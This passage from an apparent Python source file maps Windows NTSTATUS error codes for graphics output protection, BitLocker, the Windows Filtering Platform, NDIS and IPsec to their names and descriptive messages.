(\"STATUS_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED\",\"An operation is being attempted that requires the display adapter to be in a quiescent state.\"),\n        0xC01E0500: (\"STATUS_GRAPHICS_OPM_NOT_SUPPORTED\",\"The driver does not support OPM.\"),\n        0xC01E0501: (\"STATUS_GRAPHICS_COPP_NOT_SUPPORTED\",\"The driver does not support COPP.\"),\n        0xC01E0502: (\"STATUS_GRAPHICS_UAB_NOT_SUPPORTED\",\"The driver does not support UAB.\"),\n        0xC01E0503: (\"STATUS_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS\",\"The specified encrypted parameters are invalid.\"),\n        0xC01E0504: (\"STATUS_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL\",\"An array passed to a function cannot hold all of the data that the function wants to put in it.\"),\n        0xC01E0505: (\"STATUS_GRAPHICS_OPM_NO_PROTECTED_OUTPUTS_EXIST\",\"The GDI display device passed to this function does not have any active protected outputs.\"),\n        0xC01E0506: (\"STATUS_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME\",\"The PVP cannot find an actual GDI display device that corresponds to the passed-in GDI display device name.\"),\n        0xC01E0507: (\"STATUS_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP\",\"This function failed because the GDI display device passed to it was not attached to the Windows desktop.\"),\n        0xC01E0508: (\"STATUS_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED\",\"The PVP does not support mirroring display devices because they do not have any protected outputs.\"),\n        0xC01E050A: (\"STATUS_GRAPHICS_OPM_INVALID_POINTER\",\"The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, is not correctly aligned, or it points to an invalid address or a kernel mode address.\"),\n        0xC01E050B: (\"STATUS_GRAPHICS_OPM_INTERNAL_ERROR\",\"An internal error caused an operation to fail.\"),\n        0xC01E050C: (\"STATUS_GRAPHICS_OPM_INVALID_HANDLE\",\"The function failed because the caller passed in an invalid OPM user-mode handle.\"),\n        0xC01E050D: (\"STATUS_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE\",\"This function failed because the GDI device passed to it did not have any monitors associated with it.\"),\n        0xC01E050E: (\"STATUS_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH\",\"A certificate could not be returned because the certificate buffer passed to the function was too small.\"),\n        0xC01E050F: (\"STATUS_GRAPHICS_OPM_SPANNING_MODE_ENABLED\",\"DxgkDdiOpmCreateProtectedOutput() could not create a protected output because the video present yarget is in spanning mode.\"),\n        0xC01E0510: (\"STATUS_GRAPHICS_OPM_THEATER_MODE_ENABLED\",\"DxgkDdiOpmCreateProtectedOutput() could not create a protected output because the video present target is in theater mode.\"),\n        0xC01E0511: (\"STATUS_GRAPHICS_PVP_HFS_FAILED\",\"The function call failed because the display adapter's hardware functionality scan (HFS) failed to validate the graphics hardware.\"),\n        0xC01E0512: (\"STATUS_GRAPHICS_OPM_INVALID_SRM\",\"The HDCP SRM passed to this function did not comply with section 5 of the HDCP 1.1 specification.\"),\n        0xC01E0513: (\"STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP\",\"The protected output cannot enable the HDCP system because it does not support it.\"),\n        0xC01E0514: (\"STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP\",\"The protected output cannot enable analog copy protection because it does not support it.\"),\n        0xC01E0515: (\"STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA\",\"The protected output cannot enable the CGMS-A protection technology because it does not support it.\"),\n        0xC01E0516: (\"STATUS_GRAPHICS_OPM_HDCP_SRM_NEVER_SET\",\"DxgkDdiOPMGetInformation() cannot return the version of the SRM being used because the application never successfully passed an SRM to the protected output.\"),\n        0xC01E0517: (\"STATUS_GRAPHICS_OPM_RESOLUTION_TOO_HIGH\",\"DxgkDdiOPMConfigureProtectedOutput() cannot enable the specified output protection technology because the output's screen resolution is too high.\"),\n        0xC01E0518: (\"STATUS_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE\",\"DxgkDdiOPMConfigureProtectedOutput() cannot enable HDCP because other physical outputs are using the display adapter's HDCP hardware.\"),\n        0xC01E051A: (\"STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_NO_LONGER_EXISTS\",\"The operating system asynchronously destroyed this OPM-protected output because the operating system state changed. This error typically occurs because the monitor PDO associated with this protected output was removed or stopped, the protected output's session became a nonconsole session, or the protected output's desktop became inactive.\"),\n        0xC01E051B: (\"STATUS_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS\",\"OPM functions cannot be called when a session is changing its type. Three types of sessions currently exist: console, disconnected, and remote (RDP or ICA).\"),\n        0xC01E051C: (\"STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS\",\"The DxgkDdiOPMGetCOPPCompatibleInformation, DxgkDdiOPMGetInformation, or DxgkDdiOPMConfigureProtectedOutput function failed. This error is returned only if a protected output has OPM semantics.  DxgkDdiOPMGetCOPPCompatibleInformation always returns this error if a protected output has OPM semantics.  DxgkDdiOPMGetInformation returns this error code if the caller requested COPP-specific information.  DxgkDdiOPMConfigureProtectedOutput returns this error when the caller tries to use a COPP-specific command.\"),\n        0xC01E051D: (\"STATUS_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST\",\"The DxgkDdiOPMGetInformation and DxgkDdiOPMGetCOPPCompatibleInformation functions return this error code if the passed-in sequence number is not the expected sequence number or the passed-in OMAC value is invalid.\"),\n        0xC01E051E: (\"STATUS_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR\",\"The function failed because an unexpected error occurred inside a display driver.\"),\n        0xC01E051F: (\"STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS\",\"The DxgkDdiOPMGetCOPPCompatibleInformation, DxgkDdiOPMGetInformation, or DxgkDdiOPMConfigureProtectedOutput function failed. This error is returned only if a protected output has COPP semantics.  DxgkDdiOPMGetCOPPCompatibleInformation returns this error code if the caller requested OPM-specific information.  DxgkDdiOPMGetInformation always returns this error if a protected output has COPP semantics.  DxgkDdiOPMConfigureProtectedOutput returns this error when the caller tries to use an OPM-specific command.\"),\n        0xC01E0520: (\"STATUS_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED\",\"The DxgkDdiOPMGetCOPPCompatibleInformation and DxgkDdiOPMConfigureProtectedOutput functions return this error if the display driver does not support the DXGKMDT_OPM_GET_ACP_AND_CGMSA_SIGNALING and DXGKMDT_OPM_SET_ACP_AND_CGMSA_SIGNALING GUIDs.\"),\n        0xC01E0521: (\"STATUS_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST\",\"The DxgkDdiOPMConfigureProtectedOutput function returns this error code if the passed-in sequence number is not the expected sequence number or the passed-in OMAC value is invalid.\"),\n        0xC01E0580: (\"STATUS_GRAPHICS_I2C_NOT_SUPPORTED\",\"The monitor connected to the specified video output does not have an I2C bus.\"),\n        0xC01E0581: (\"STATUS_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST\",\"No device on the I2C bus has the specified address.\"),\n        0xC01E0582: (\"STATUS_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA\",\"An error occurred while transmitting data to the device on the I2C bus.\"),\n        0xC01E0583: (\"STATUS_GRAPHICS_I2C_ERROR_RECEIVING_DATA\",\"An error occurred while receiving data from the device on the I2C bus.\"),\n        0xC01E0584: (\"STATUS_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED\",\"The monitor does not support the specified VCP code.\"),\n        0xC01E0585: (\"STATUS_GRAPHICS_DDCCI_INVALID_DATA\",\"The data received from the monitor is invalid.\"),\n        0xC01E0586: (\"STATUS_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE\",\"A function call failed because a monitor returned an invalid timing status byte when the operating system used the DDC/CI get timing report and timing message command to get a timing report from a monitor.\"),\n        0xC01E0587: (\"STATUS_GRAPHICS_DDCCI_INVALID_CAPABILITIES_STRING\",\"A monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1, or MCCS 2 Revision 1 specification.\"),\n        0xC01E0588: (\"STATUS_GRAPHICS_MCA_INTERNAL_ERROR\",\"An internal error caused an operation to fail.\"),\n        0xC01E0589: (\"STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND\",\"An operation failed because a DDC/CI message had an invalid value in its command field.\"),\n        0xC01E058A: (\"STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH\",\"This error occurred because a DDC/CI message had an invalid value in its length field.\"),\n        0xC01E058B: (\"STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM\",\"This error occurred because the value in a DDC/CI message's checksum field did not match the message's computed checksum value. This error implies that the data was corrupted while it was being transmitted from a monitor to a computer.\"),\n        0xC01E058C: (\"STATUS_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE\",\"This function failed because an invalid monitor handle was passed to it.\"),\n        0xC01E058D: (\"STATUS_GRAPHICS_MONITOR_NO_LONGER_EXISTS\",\"The operating system asynchronously destroyed the monitor that corresponds to this handle because the operating system's state changed. This error typically occurs because the monitor PDO associated with this handle was removed or stopped, or a display mode change occurred. A display mode change occurs when Windows sends a WM_DISPLAYCHANGE message to applications.\"),\n        0xC01E05E0: (\"STATUS_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED\",\"This function can be used only if a program is running in the local console session. It cannot be used if a program is running on a remote desktop session or on a terminal server session.\"),\n        0xC01E05E1: (\"STATUS_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME\",\"This function cannot find an actual GDI display device that corresponds to the specified GDI display device name.\"),\n        0xC01E05E2: (\"STATUS_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP\",\"The function failed because the specified GDI display device was not attached to the Windows desktop.\"),\n        0xC01E05E3: (\"STATUS_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED\",\"This function does not support GDI mirroring display devices because GDI mirroring display devices do not have any physical monitors associated with them.\"),\n        0xC01E05E4: (\"STATUS_GRAPHICS_INVALID_POINTER\",\"The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, is not correctly aligned, or points to an invalid address or to a kernel mode address.\"),\n        0xC01E05E5: (\"STATUS_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE\",\"This function failed because the GDI device passed to it did not have a monitor associated with it.\"),\n        0xC01E05E6: (\"STATUS_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL\",\"An array passed to the function cannot hold all of the data that the function must copy into the array.\"),\n        0xC01E05E7: (\"STATUS_GRAPHICS_INTERNAL_ERROR\",\"An internal error caused an operation to fail.\"),\n        0xC01E05E8: (\"STATUS_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS\",\"The function failed because the current session is changing its type. This function cannot be called when the current session is changing its type. Three types of sessions currently exist: console, disconnected, and remote (RDP or ICA).\"),\n        0xC0210000: (\"STATUS_FVE_LOCKED_VOLUME\",\"The volume must be unlocked before it can be used.\"),\n        0xC0210001: (\"STATUS_FVE_NOT_ENCRYPTED\",\"The volume is fully decrypted and no key is available.\"),\n        0xC0210002: (\"STATUS_FVE_BAD_INFORMATION\",\"The control block for the encrypted volume is not valid.\"),\n        0xC0210003: (\"STATUS_FVE_TOO_SMALL\",\"Not enough free space remains on the volume to allow encryption.\"),\n        0xC0210004: (\"STATUS_FVE_FAILED_WRONG_FS\",\"The partition cannot be encrypted because the file system is not supported.\"),\n        0xC0210005: (\"STATUS_FVE_FAILED_BAD_FS\",\"The file system is inconsistent. Run the Check Disk utility.\"),\n        0xC0210006: (\"STATUS_FVE_FS_NOT_EXTENDED\",\"The file system does not extend to the end of the volume.\"),\n        0xC0210007: (\"STATUS_FVE_FS_MOUNTED\",\"This operation cannot be performed while a file system is mounted on the volume.\"),\n        0xC0210008: (\"STATUS_FVE_NO_LICENSE\",\"BitLocker Drive Encryption is not included with this version of Windows.\"),\n        0xC0210009: (\"STATUS_FVE_ACTION_NOT_ALLOWED\",\"The requested action was denied by the FVE control engine.\"),\n        0xC021000A: (\"STATUS_FVE_BAD_DATA\",\"The data supplied is malformed.\"),\n        0xC021000B: (\"STATUS_FVE_VOLUME_NOT_BOUND\",\"The volume is not bound to the system.\"),\n        0xC021000C: (\"STATUS_FVE_NOT_DATA_VOLUME\",\"The volume specified is not a data volume.\"),\n        0xC021000D: (\"STATUS_FVE_CONV_READ_ERROR\",\"A read operation failed while converting the volume.\"),\n        0xC021000E: (\"STATUS_FVE_CONV_WRITE_ERROR\",\"A write operation failed while converting the volume.\"),\n        0xC021000F: (\"STATUS_FVE_OVERLAPPED_UPDATE\",\"The control block for the encrypted volume was updated by another thread. Try again.\"),\n        0xC0210010: (\"STATUS_FVE_FAILED_SECTOR_SIZE\",\"The volume encryption algorithm cannot be used on this sector size.\"),\n        0xC0210011: (\"STATUS_FVE_FAILED_AUTHENTICATION\",\"BitLocker recovery authentication failed.\"),\n        0xC0210012: (\"STATUS_FVE_NOT_OS_VOLUME\",\"The volume specified is not the boot operating system volume.\"),\n        0xC0210013: (\"STATUS_FVE_KEYFILE_NOT_FOUND\",\"The BitLocker startup key or recovery password could not be read from external media.\"),\n        0xC0210014: (\"STATUS_FVE_KEYFILE_INVALID\",\"The BitLocker startup key or recovery password file is corrupt or invalid.\"),\n        0xC0210015: (\"STATUS_FVE_KEYFILE_NO_VMK\",\"The BitLocker encryption key could not be obtained from the startup key or the recovery password.\"),\n        0xC0210016: (\"STATUS_FVE_TPM_DISABLED\",\"The TPM is disabled.\"),\n        0xC0210017: (\"STATUS_FVE_TPM_SRK_AUTH_NOT_ZERO\",\"The authorization data for the SRK of the TPM is not zero.\"),\n        0xC0210018: (\"STATUS_FVE_TPM_INVALID_PCR\",\"The system boot information changed or the TPM locked out access to BitLocker encryption keys until the computer is restarted.\"),\n        0xC0210019: (\"STATUS_FVE_TPM_NO_VMK\",\"The BitLocker encryption key could not be obtained from the TPM.\"),\n        0xC021001A: (\"STATUS_FVE_PIN_INVALID\",\"The BitLocker encryption key could not be obtained from the TPM and PIN.\"),\n        0xC021001B: (\"STATUS_FVE_AUTH_INVALID_APPLICATION\",\"A boot application hash does not match the hash computed when BitLocker was turned on.\"),\n        0xC021001C: (\"STATUS_FVE_AUTH_INVALID_CONFIG\",\"The Boot Configuration Data (BCD) settings are not supported or have changed because BitLocker was enabled.\"),\n        0xC021001D: (\"STATUS_FVE_DEBUGGER_ENABLED\",\"Boot debugging is enabled. Run Windows Boot Configuration Data Store Editor (bcdedit.exe) to turn it off.\"),\n        0xC021001E: (\"STATUS_FVE_DRY_RUN_FAILED\",\"The BitLocker encryption key could not be obtained.\"),\n        0xC021001F: (\"STATUS_FVE_BAD_METADATA_POINTER\",\"The metadata disk region pointer is incorrect.\"),\n        0xC0210020: (\"STATUS_FVE_OLD_METADATA_COPY\",\"The backup copy of the metadata is out of date.\"),\n        0xC0210021: (\"STATUS_FVE_REBOOT_REQUIRED\",\"No action was taken because a system restart is required.\"),\n        0xC0210022: (\"STATUS_FVE_RAW_ACCESS\",\"No action was taken because BitLocker Drive Encryption is in RAW access mode.\"),\n        0xC0210023: (\"STATUS_FVE_RAW_BLOCKED\",\"BitLocker Drive Encryption cannot enter RAW access mode for this volume.\"),\n        0xC0210026: (\"STATUS_FVE_NO_FEATURE_LICENSE\",\"This feature of BitLocker Drive Encryption is not included with this version of Windows.\"),\n        0xC0210027: (\"STATUS_FVE_POLICY_USER_DISABLE_RDV_NOT_ALLOWED\",\"Group policy does not permit turning off BitLocker Drive Encryption on roaming data volumes.\"),\n        0xC0210028: (\"STATUS_FVE_CONV_RECOVERY_FAILED\",\"Bitlocker Drive Encryption failed to recover from aborted conversion. This could be due to either all conversion logs being corrupted or the media being write-protected.\"),\n        0xC0210029: (\"STATUS_FVE_VIRTUALIZED_SPACE_TOO_BIG\",\"The requested virtualization size is too big.\"),\n        0xC0210030: (\"STATUS_FVE_VOLUME_TOO_SMALL\",\"The drive is too small to be protected using BitLocker Drive Encryption.\"),\n        0xC0220001: (\"STATUS_FWP_CALLOUT_NOT_FOUND\",\"The callout does not exist.\"),\n        0xC0220002: (\"STATUS_FWP_CONDITION_NOT_FOUND\",\"The filter condition does not exist.\"),\n        0xC0220003: (\"STATUS_FWP_FILTER_NOT_FOUND\",\"The filter does not exist.\"),\n        0xC0220004: (\"STATUS_FWP_LAYER_NOT_FOUND\",\"The layer does not exist.\"),\n        0xC0220005: (\"STATUS_FWP_PROVIDER_NOT_FOUND\",\"The provider does not exist.\"),\n        0xC0220006: (\"STATUS_FWP_PROVIDER_CONTEXT_NOT_FOUND\",\"The provider context does not exist.\"),\n        0xC0220007: (\"STATUS_FWP_SUBLAYER_NOT_FOUND\",\"The sublayer does not exist.\"),\n        0xC0220008: (\"STATUS_FWP_NOT_FOUND\",\"The object does not exist.\"),\n        0xC0220009: (\"STATUS_FWP_ALREADY_EXISTS\",\"An object with that GUID or LUID already exists.\"),\n        0xC022000A: (\"STATUS_FWP_IN_USE\",\"The object is referenced by other objects and cannot be deleted.\"),\n        0xC022000B: (\"STATUS_FWP_DYNAMIC_SESSION_IN_PROGRESS\",\"The call is not allowed from within a dynamic session.\"),\n        0xC022000C: (\"STATUS_FWP_WRONG_SESSION\",\"The call was made from the wrong session and cannot be completed.\"),\n        0xC022000D: (\"STATUS_FWP_NO_TXN_IN_PROGRESS\",\"The call must be made from within an explicit transaction.\"),\n        0xC022000E: (\"STATUS_FWP_TXN_IN_PROGRESS\",\"The call is not allowed from within an explicit transaction.\"),\n        0xC022000F: (\"STATUS_FWP_TXN_ABORTED\",\"The explicit transaction has been forcibly canceled.\"),\n        0xC0220010: (\"STATUS_FWP_SESSION_ABORTED\",\"The session has been canceled.\"),\n        0xC0220011: (\"STATUS_FWP_INCOMPATIBLE_TXN\",\"The call is not allowed from within a read-only transaction.\"),\n        0xC0220012: (\"STATUS_FWP_TIMEOUT\",\"The call timed out while waiting to acquire the transaction lock.\"),\n        0xC0220013: (\"STATUS_FWP_NET_EVENTS_DISABLED\",\"The collection of network diagnostic events is disabled.\"),\n        0xC0220014: (\"STATUS_FWP_INCOMPATIBLE_LAYER\",\"The operation is not supported by the specified layer.\"),\n        0xC0220015: (\"STATUS_FWP_KM_CLIENTS_ONLY\",\"The call is allowed for kernel-mode callers only.\"),\n        0xC0220016: (\"STATUS_FWP_LIFETIME_MISMATCH\",\"The call tried to associate two objects with incompatible lifetimes.\"),\n        0xC0220017: (\"STATUS_FWP_BUILTIN_OBJECT\",\"The object is built-in and cannot be deleted.\"),\n        0xC0220018: (\"STATUS_FWP_TOO_MANY_BOOTTIME_FILTERS\",\"The maximum number of boot-time filters has been reached.\"),\n        0xC0220018: (\"STATUS_FWP_TOO_MANY_CALLOUTS\",\"The maximum number of callouts has been reached.\"),\n        0xC0220019: (\"STATUS_FWP_NOTIFICATION_DROPPED\",\"A notification could not be delivered because a message queue has reached maximum capacity.\"),\n        0xC022001A: (\"STATUS_FWP_TRAFFIC_MISMATCH\",\"The traffic parameters do not match those for the security association context.\"),\n        0xC022001B: (\"STATUS_FWP_INCOMPATIBLE_SA_STATE\",\"The call is not allowed for the current security association state.\"),\n        0xC022001C: (\"STATUS_FWP_NULL_POINTER\",\"A required pointer is null.\"),\n        0xC022001D: (\"STATUS_FWP_INVALID_ENUMERATOR\",\"An enumerator is not valid.\"),\n        0xC022001E: (\"STATUS_FWP_INVALID_FLAGS\",\"The flags field contains an invalid value.\"),\n        0xC022001F: (\"STATUS_FWP_INVALID_NET_MASK\",\"A network mask is not valid.\"),\n        0xC0220020: (\"STATUS_FWP_INVALID_RANGE\",\"An FWP_RANGE is not valid.\"),\n        0xC0220021: (\"STATUS_FWP_INVALID_INTERVAL\",\"The time interval is not valid.\"),\n        0xC0220022: (\"STATUS_FWP_ZERO_LENGTH_ARRAY\",\"An array that must contain at least one element has a zero length.\"),\n        0xC0220023: (\"STATUS_FWP_NULL_DISPLAY_NAME\",\"The displayData.name field cannot be null.\"),\n        0xC0220024: (\"STATUS_FWP_INVALID_ACTION_TYPE\",\"The action type is not one of the allowed action types for a filter.\"),\n        0xC0220025: (\"STATUS_FWP_INVALID_WEIGHT\",\"The filter weight is not valid.\"),\n        0xC0220026: (\"STATUS_FWP_MATCH_TYPE_MISMATCH\",\"A filter condition contains a match type that is not compatible with the operands.\"),\n        0xC0220027: (\"STATUS_FWP_TYPE_MISMATCH\",\"An FWP_VALUE or FWPM_CONDITION_VALUE is of the wrong type.\"),\n        0xC0220028: (\"STATUS_FWP_OUT_OF_BOUNDS\",\"An integer value is outside the allowed range.\"),\n        0xC0220029: (\"STATUS_FWP_RESERVED\",\"A reserved field is nonzero.\"),\n        0xC022002A: (\"STATUS_FWP_DUPLICATE_CONDITION\",\"A filter cannot contain multiple conditions operating on a single field.\"),\n        0xC022002B: (\"STATUS_FWP_DUPLICATE_KEYMOD\",\"A policy cannot contain the same keying module more than once.\"),\n        0xC022002C: (\"STATUS_FWP_ACTION_INCOMPATIBLE_WITH_LAYER\",\"The action type is not compatible with the layer.\"),\n        0xC022002D: (\"STATUS_FWP_ACTION_INCOMPATIBLE_WITH_SUBLAYER\",\"The action type is not compatible with the sublayer.\"),\n        0xC022002E: (\"STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_LAYER\",\"The raw context or the provider context is not compatible with the layer.\"),\n        0xC022002F: (\"STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_CALLOUT\",\"The raw context or the provider context is not compatible with the callout.\"),\n        0xC0220030: (\"STATUS_FWP_INCOMPATIBLE_AUTH_METHOD\",\"The authentication method is not compatible with the policy type.\"),\n        0xC0220031: (\"STATUS_FWP_INCOMPATIBLE_DH_GROUP\",\"The Diffie-Hellman group is not compatible with the policy type.\"),\n        0xC0220032: (\"STATUS_FWP_EM_NOT_SUPPORTED\",\"An IKE policy cannot contain an Extended Mode policy.\"),\n        0xC0220033: (\"STATUS_FWP_NEVER_MATCH\",\"The enumeration template or subscription will never match any objects.\"),\n        0xC0220034: (\"STATUS_FWP_PROVIDER_CONTEXT_MISMATCH\",\"The provider context is of the wrong type.\"),\n        0xC0220035: (\"STATUS_FWP_INVALID_PARAMETER\",\"The parameter is incorrect.\"),\n        0xC0220036: (\"STATUS_FWP_TOO_MANY_SUBLAYERS\",\"The maximum number of sublayers has been reached.\"),\n        0xC0220037: (\"STATUS_FWP_CALLOUT_NOTIFICATION_FAILED\",\"The notification function for a callout returned an error.\"),\n        0xC0220038: (\"STATUS_FWP_INCOMPATIBLE_AUTH_CONFIG\",\"The IPsec authentication configuration is not compatible with the authentication type.\"),\n        0xC0220039: (\"STATUS_FWP_INCOMPATIBLE_CIPHER_CONFIG\",\"The IPsec cipher configuration is not compatible with the cipher type.\"),\n        0xC022003C: (\"STATUS_FWP_DUPLICATE_AUTH_METHOD\",\"A policy cannot contain the same auth method more than once.\"),\n        0xC0220100: (\"STATUS_FWP_TCPIP_NOT_READY\",\"The TCP/IP stack is not ready.\"),\n        0xC0220101: (\"STATUS_FWP_INJECT_HANDLE_CLOSING\",\"The injection handle is being closed by another thread.\"),\n        0xC0220102: (\"STATUS_FWP_INJECT_HANDLE_STALE\",\"The injection handle is stale.\"),\n        0xC0220103: (\"STATUS_FWP_CANNOT_PEND\",\"The classify cannot be pended.\"),\n        0xC0230002: (\"STATUS_NDIS_CLOSING\",\"The binding to the network interface is being closed.\"),\n        0xC0230004: (\"STATUS_NDIS_BAD_VERSION\",\"An invalid version was specified.\"),\n        0xC0230005: (\"STATUS_NDIS_BAD_CHARACTERISTICS\",\"An invalid characteristics table was used.\"),\n        0xC0230006: (\"STATUS_NDIS_ADAPTER_NOT_FOUND\",\"Failed to find the network interface or the network interface is not ready.\"),\n        0xC0230007: (\"STATUS_NDIS_OPEN_FAILED\",\"Failed to open the network interface.\"),\n        0xC0230008: (\"STATUS_NDIS_DEVICE_FAILED\",\"The network interface has encountered an internal unrecoverable failure.\"),\n        0xC0230009: (\"STATUS_NDIS_MULTICAST_FULL\",\"The multicast list on the network interface is full.\"),\n        0xC023000A: (\"STATUS_NDIS_MULTICAST_EXISTS\",\"An attempt was made to add a duplicate multicast address to the list.\"),\n        0xC023000B: (\"STATUS_NDIS_MULTICAST_NOT_FOUND\",\"At attempt was made to remove a multicast address that was never added.\"),\n        0xC023000C: (\"STATUS_NDIS_REQUEST_ABORTED\",\"The network interface aborted the request.\"),\n        0xC023000D: (\"STATUS_NDIS_RESET_IN_PROGRESS\",\"The network interface cannot process the request because it is being reset.\"),\n        0xC023000F: (\"STATUS_NDIS_INVALID_PACKET\",\"An attempt was made to send an invalid packet on a network interface.\"),\n        0xC0230010: (\"STATUS_NDIS_INVALID_DEVICE_REQUEST\",\"The specified request is not a valid operation for the target device.\"),\n        0xC0230011: (\"STATUS_NDIS_ADAPTER_NOT_READY\",\"The network interface is not ready to complete this operation.\"),\n        0xC0230014: (\"STATUS_NDIS_INVALID_LENGTH\",\"The length of the buffer submitted for this operation is not valid.\"),\n        0xC0230015: (\"STATUS_NDIS_INVALID_DATA\",\"The data used for this operation is not valid.\"),\n        0xC0230016: (\"STATUS_NDIS_BUFFER_TOO_SHORT\",\"The length of the submitted buffer for this operation is too small.\"),\n        0xC0230017: (\"STATUS_NDIS_INVALID_OID\",\"The network interface does not support this object identifier.\"),\n        0xC0230018: (\"STATUS_NDIS_ADAPTER_REMOVED\",\"The network interface has been removed.\"),\n        0xC0230019: (\"STATUS_NDIS_UNSUPPORTED_MEDIA\",\"The network interface does not support this media type.\"),\n        0xC023001A: (\"STATUS_NDIS_GROUP_ADDRESS_IN_USE\",\"An attempt was made to remove a token ring group address that is in use by other components.\"),\n        0xC023001B: (\"STATUS_NDIS_FILE_NOT_FOUND\",\"An attempt was made to map a file that cannot be found.\"),\n        0xC023001C: (\"STATUS_NDIS_ERROR_READING_FILE\",\"An error occurred while NDIS tried to map the file.\"),\n        0xC023001D: (\"STATUS_NDIS_ALREADY_MAPPED\",\"An attempt was made to map a file that is already mapped.\"),\n        0xC023001E: (\"STATUS_NDIS_RESOURCE_CONFLICT\",\"An attempt to allocate a hardware resource failed because the resource is used by another component.\"),\n        0xC023001F: (\"STATUS_NDIS_MEDIA_DISCONNECTED\",\"The I/O operation failed because the network media is disconnected or the wireless access point is out of range.\"),\n        0xC0230022: (\"STATUS_NDIS_INVALID_ADDRESS\",\"The network address used in the request is invalid.\"),\n        0xC023002A: (\"STATUS_NDIS_PAUSED\",\"The offload operation on the network interface has been paused.\"),\n        0xC023002B: (\"STATUS_NDIS_INTERFACE_NOT_FOUND\",\"The network interface was not found.\"),\n        0xC023002C: (\"STATUS_NDIS_UNSUPPORTED_REVISION\",\"The revision number specified in the structure is not supported.\"),\n        0xC023002D: (\"STATUS_NDIS_INVALID_PORT\",\"The specified port does not exist on this network interface.\"),\n        0xC023002E: (\"STATUS_NDIS_INVALID_PORT_STATE\",\"The current state of the specified port on this network interface does not support the requested operation.\"),\n        0xC023002F: (\"STATUS_NDIS_LOW_POWER_STATE\",\"The miniport adapter is in a lower power state.\"),\n        0xC02300BB: (\"STATUS_NDIS_NOT_SUPPORTED\",\"The network interface does not support this request.\"),\n        0xC023100F: (\"STATUS_NDIS_OFFLOAD_POLICY\",\"The TCP connection is not offloadable because of a local policy setting.\"),\n        0xC0231012: (\"STATUS_NDIS_OFFLOAD_CONNECTION_REJECTED\",\"The TCP connection is not offloadable by the Chimney offload target.\"),\n        0xC0231013: (\"STATUS_NDIS_OFFLOAD_PATH_REJECTED\",\"The IP Path object is not in an offloadable state.\"),\n        0xC0232000: (\"STATUS_NDIS_DOT11_AUTO_CONFIG_ENABLED\",\"The wireless LAN interface is in auto-configuration mode and does not support the requested parameter change operation.\"),\n        0xC0232001: (\"STATUS_NDIS_DOT11_MEDIA_IN_USE\",\"The wireless LAN interface is busy and cannot perform the requested operation.\"),\n        0xC0232002: (\"STATUS_NDIS_DOT11_POWER_STATE_INVALID\",\"The wireless LAN interface is power down and does not support the requested operation.\"),\n        0xC0232003: (\"STATUS_NDIS_PM_WOL_PATTERN_LIST_FULL\",\"The list of wake on LAN patterns is full.\"),\n        0xC0232004: (\"STATUS_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL\",\"The list of low power protocol offloads is full.\"),\n        0xC0360001: (\"STATUS_IPSEC_BAD_SPI\",\"The SPI in the packet does not match a valid IPsec SA.\"),\n        0xC0360002: (\"STATUS_IPSEC_SA_LIFETIME_EXPIRED\",\"The packet was received on an IPsec SA whose lifetime has expired.\"),\n        0xC0360003: (\"STATUS_IPSEC_WRONG_SA\",\"The packet was received on an IPsec SA that does not match the packet characteristics.\"),\n        0xC0360004: (\"STATUS_IPSEC_REPLAY_CHECK_FAILED\",\"The packet sequence number replay check failed.\"),\n        0xC0360005: (\"STATUS_IPSEC_INVALID_PACKET\",\"The IPsec header and/or trailer in the packet is invalid.\"),\n        0xC0360006: (\"STATUS_IPSEC_INTEGRITY_CHECK_FAILED\",\"The IPsec integrity check failed.\"),\n        0xC0360007: (\"STATUS_IPSEC_CLEAR_TEXT_DROP\",\"IPsec dropped a clear text packet.\"),\n        0xC0360008: (\"STATUS_IPSEC_AUTH_FIREWALL_DROP\",\"IPsec dropped an incoming ESP packet in authenticated firewall mode. This drop is benign.\"),\n        0xC0360009: (\"STATUS_IPSEC_THROTTLE_DROP\",\"IPsec dropped a packet due to DOS throttle.\"),\n        0xC0368000: 